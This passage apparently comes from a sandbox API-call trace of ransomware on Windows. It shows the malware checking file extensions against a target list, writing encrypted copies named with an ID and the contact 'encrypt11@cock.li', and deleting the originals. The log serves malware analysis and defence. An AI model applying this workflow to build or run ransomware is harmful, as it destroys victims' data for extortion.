(lpString=".pdf") returned 4 [0044.463] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0044.463] lstrlenW (lpString=".xls") returned 4 [0044.463] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0044.463] lstrlenW (lpString=".xlsx") returned 5 [0044.463] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0044.463] lstrlenW (lpString=".ppt") returned 4 [0044.464] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0044.464] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0044.464] lstrlenW (lpString=".zip") returned 4 [0044.464] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0044.464] lstrlenW (lpString=".rar") returned 4 [0044.464] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0044.464] lstrlenW (lpString=".bz2") returned 4 [0044.464] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0044.464] lstrlenW (lpString=".7z") returned 3 [0044.464] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0044.464] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0044.464] lstrlenW (lpString=".dbf") returned 4 [0044.464] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0044.464] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0044.464] lstrlenW (lpString=".1cd") returned 4 [0044.464] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0044.464] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0044.464] lstrlenW (lpString=".jpg") returned 4 [0044.464] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0044.464] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0044.464] lstrlenW (lpString="Strings.xml") returned 11 [0044.464] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0044.464] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=14084) returned 1 [0044.465] CloseHandle (hObject=0x318) returned 1 [0044.465] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0044.465] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.465] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0044.465] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0044.465] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0044.465] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0044.465] GetLastError () returned 0x0 [0044.465] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x3704, lpOverlapped=0x0) returned 1 [0044.755] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x3710, lpOverlapped=0x0) returned 1 [0044.756] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0044.756] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xea, lpOverlapped=0x0) returned 1 [0044.756] SetEndOfFile (hFile=0x2d8) returned 1 [0044.756] CloseHandle (hObject=0x2d8) returned 1 [0044.757] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0044.757] SetEndOfFile (hFile=0x318) returned 1 [0044.758] CloseHandle (hObject=0x318) returned 1 [0044.758] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.758] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1 [0044.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0044.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0044.758] lstrlenW (lpString=".doc") returned 4 [0044.758] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.758] lstrlenW (lpString=".docx") returned 5 [0044.758] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0044.758] lstrlenW (lpString=".pdf") returned 4 [0044.758] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.758] lstrlenW (lpString=".xls") returned 4 [0044.759] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString=".xlsx") returned 5 [0044.759] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0044.759] lstrlenW (lpString=".ppt") returned 4 [0044.759] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0044.759] lstrlenW (lpString=".zip") returned 4 [0044.759] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.759] lstrlenW (lpString=".rar") returned 4 [0044.759] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString=".bz2") returned 4 [0044.759] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString=".7z") returned 3 [0044.759] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0044.759] lstrlenW (lpString=".dbf") returned 4 [0044.759] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0044.759] lstrlenW (lpString=".1cd") returned 4 [0044.759] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0044.759] lstrlenW (lpString=".jpg") returned 4 [0044.759] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0044.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0044.759] lstrlenW (lpString=".doc") returned 4 [0044.759] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString=".docx") returned 5 [0044.759] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0044.759] lstrlenW (lpString=".pdf") returned 4 [0044.759] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.759] lstrlenW (lpString=".xls") returned 4 [0044.759] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.760] lstrlenW (lpString=".xlsx") returned 5 [0044.760] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0044.760] lstrlenW (lpString=".ppt") returned 4 [0044.760] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0044.760] lstrlenW (lpString=".zip") returned 4 [0044.760] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.760] lstrlenW (lpString=".rar") returned 4 [0044.760] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.760] lstrlenW (lpString=".bz2") returned 4 [0044.760] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.760] lstrlenW (lpString=".7z") returned 3 [0044.760] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0044.760] lstrlenW (lpString=".dbf") returned 4 [0044.760] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0044.760] lstrlenW (lpString=".1cd") returned 4 [0044.760] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.760] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0044.760] lstrlenW (lpString=".jpg") returned 4 [0044.760] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.760] lstrcmpiW (lpString1=".p7b", lpString2=".btix") returned 1 [0044.760] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0044.760] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0044.859] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=4662) returned 1 [0044.859] CloseHandle (hObject=0x32c) returned 1 [0044.860] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0044.860] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.860] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.860] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0044.860] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0044.860] lstrlenW (lpString=".doc") returned 4 [0044.860] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0044.860] lstrlenW (lpString=".docx") returned 5 [0044.860] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0044.860] lstrlenW (lpString=".pdf") returned 4 [0044.860] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0044.860] lstrlenW (lpString=".xls") returned 4 [0044.860] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0044.860] lstrlenW (lpString=".xlsx") returned 5 [0044.860] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0044.860] lstrlenW (lpString=".ppt") returned 4 [0044.860] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0044.860] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0044.860] lstrlenW (lpString=".zip") returned 4 [0044.860] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0044.860] lstrlenW (lpString=".rar") returned 4 [0044.860] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0044.860] lstrlenW (lpString=".bz2") returned 4 [0044.860] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0044.861] lstrlenW (lpString=".7z") returned 3 [0044.861] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0044.861] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0044.861] lstrlenW (lpString=".dbf") returned 4 [0044.861] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0044.861] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0044.861] lstrlenW (lpString=".1cd") returned 4 [0044.861] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0044.861] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0044.861] lstrlenW (lpString=".jpg") returned 4 [0044.861] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0044.861] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0044.861] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0044.861] lstrlenW (lpString=".doc") returned 4 [0044.861] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0044.861] lstrlenW (lpString=".docx") returned 5 [0044.861] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0044.861] lstrlenW (lpString=".pdf") returned 4 [0044.861] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0044.861] lstrlenW (lpString=".xls") returned 4 [0044.861] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0044.861] lstrlenW (lpString=".xlsx") returned 5 [0044.861] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0044.861] lstrlenW (lpString=".ppt") returned 4 [0044.862] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0044.862] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0044.862] lstrlenW (lpString=".zip") returned 4 [0044.862] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0044.862] lstrlenW (lpString=".rar") returned 4 [0044.862] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0044.862] lstrlenW (lpString=".bz2") returned 4 [0044.862] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0044.862] lstrlenW (lpString=".7z") returned 3 [0044.862] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0044.862] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0044.862] lstrlenW (lpString=".dbf") returned 4 [0044.862] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0044.862] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0044.862] lstrlenW (lpString=".1cd") returned 4 [0044.862] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0044.862] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0044.862] lstrlenW (lpString=".jpg") returned 4 [0044.862] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0044.862] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0044.862] lstrlenW (lpString="C2RHeartbeatConfig.xml") returned 22 [0044.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0044.863] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=4136) returned 1 [0044.863] CloseHandle (hObject=0x32c) returned 1 [0044.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0044.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0044.863] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0044.863] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0044.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0044.866] GetLastError () returned 0x0 [0044.866] ReadFile (in: hFile=0x32c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1028, lpOverlapped=0x0) returned 1 [0044.896] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1030, lpOverlapped=0x0) returned 1 [0044.897] ReadFile (in: hFile=0x32c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0044.897] WriteFile (in: hFile=0x2d8, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x100, lpOverlapped=0x0) returned 1 [0044.897] SetEndOfFile (hFile=0x2d8) returned 1 [0045.178] CloseHandle (hObject=0x2d8) returned 1 [0045.179] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0045.179] SetEndOfFile (hFile=0x32c) returned 1 [0045.179] CloseHandle (hObject=0x32c) returned 1 [0045.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0045.180] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1 [0045.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0045.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0045.180] lstrlenW (lpString=".doc") returned 4 [0045.180] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.180] lstrlenW (lpString=".docx") returned 5 [0045.180] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0045.180] lstrlenW (lpString=".pdf") returned 4 [0045.180] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.180] lstrlenW (lpString=".xls") returned 4 [0045.180] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.180] lstrlenW (lpString=".xlsx") returned 5 [0045.180] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0045.180] lstrlenW (lpString=".ppt") returned 4 [0045.180] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0045.180] lstrlenW (lpString=".zip") returned 4 [0045.180] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.180] lstrlenW (lpString=".rar") returned 4 [0045.181] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.181] lstrlenW (lpString=".bz2") returned 4 [0045.181] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.181] lstrlenW (lpString=".7z") returned 3 [0045.181] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0045.181] lstrlenW (lpString=".dbf") returned 4 [0045.181] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0045.181] lstrlenW (lpString=".1cd") returned 4 [0045.181] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0045.181] lstrlenW (lpString=".jpg") returned 4 [0045.181] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0045.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0045.181] lstrlenW (lpString=".doc") returned 4 [0045.181] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.181] lstrlenW (lpString=".docx") returned 5 [0045.181] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0045.181] lstrlenW (lpString=".pdf") returned 4 [0045.181] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.181] lstrlenW (lpString=".xls") returned 4 [0045.181] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.181] lstrlenW (lpString=".xlsx") returned 5 [0045.181] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0045.181] lstrlenW (lpString=".ppt") returned 4 [0045.181] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0045.181] lstrlenW (lpString=".zip") returned 4 [0045.181] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.181] lstrlenW (lpString=".rar") returned 4 [0045.181] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.181] lstrlenW (lpString=".bz2") returned 4 [0045.181] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.182] lstrlenW (lpString=".7z") returned 3 [0045.182] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0045.182] lstrlenW (lpString=".dbf") returned 4 [0045.182] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0045.182] lstrlenW (lpString=".1cd") returned 4 [0045.182] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0045.182] lstrlenW (lpString=".jpg") returned 4 [0045.182] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.182] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0045.182] lstrlenW (lpString="boxed-correct.avi") returned 17 [0045.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.640] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=111320) returned 1 [0045.640] CloseHandle (hObject=0x31c) returned 1 [0045.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0045.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.672] lstrlenW (lpString=".doc") returned 4 [0045.672] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.672] lstrlenW (lpString=".docx") returned 5 [0045.672] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0045.672] lstrlenW (lpString=".pdf") returned 4 [0045.672] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.672] lstrlenW (lpString=".xls") returned 4 [0045.672] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.672] lstrlenW (lpString=".xlsx") returned 5 [0045.672] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0045.672] lstrlenW (lpString=".ppt") returned 4 [0045.672] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.672] lstrlenW (lpString=".zip") returned 4 [0045.672] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.672] lstrlenW (lpString=".rar") returned 4 [0045.672] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.672] lstrlenW (lpString=".bz2") returned 4 [0045.672] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.672] lstrlenW (lpString=".7z") returned 3 [0045.672] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.673] lstrlenW (lpString=".dbf") returned 4 [0045.673] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 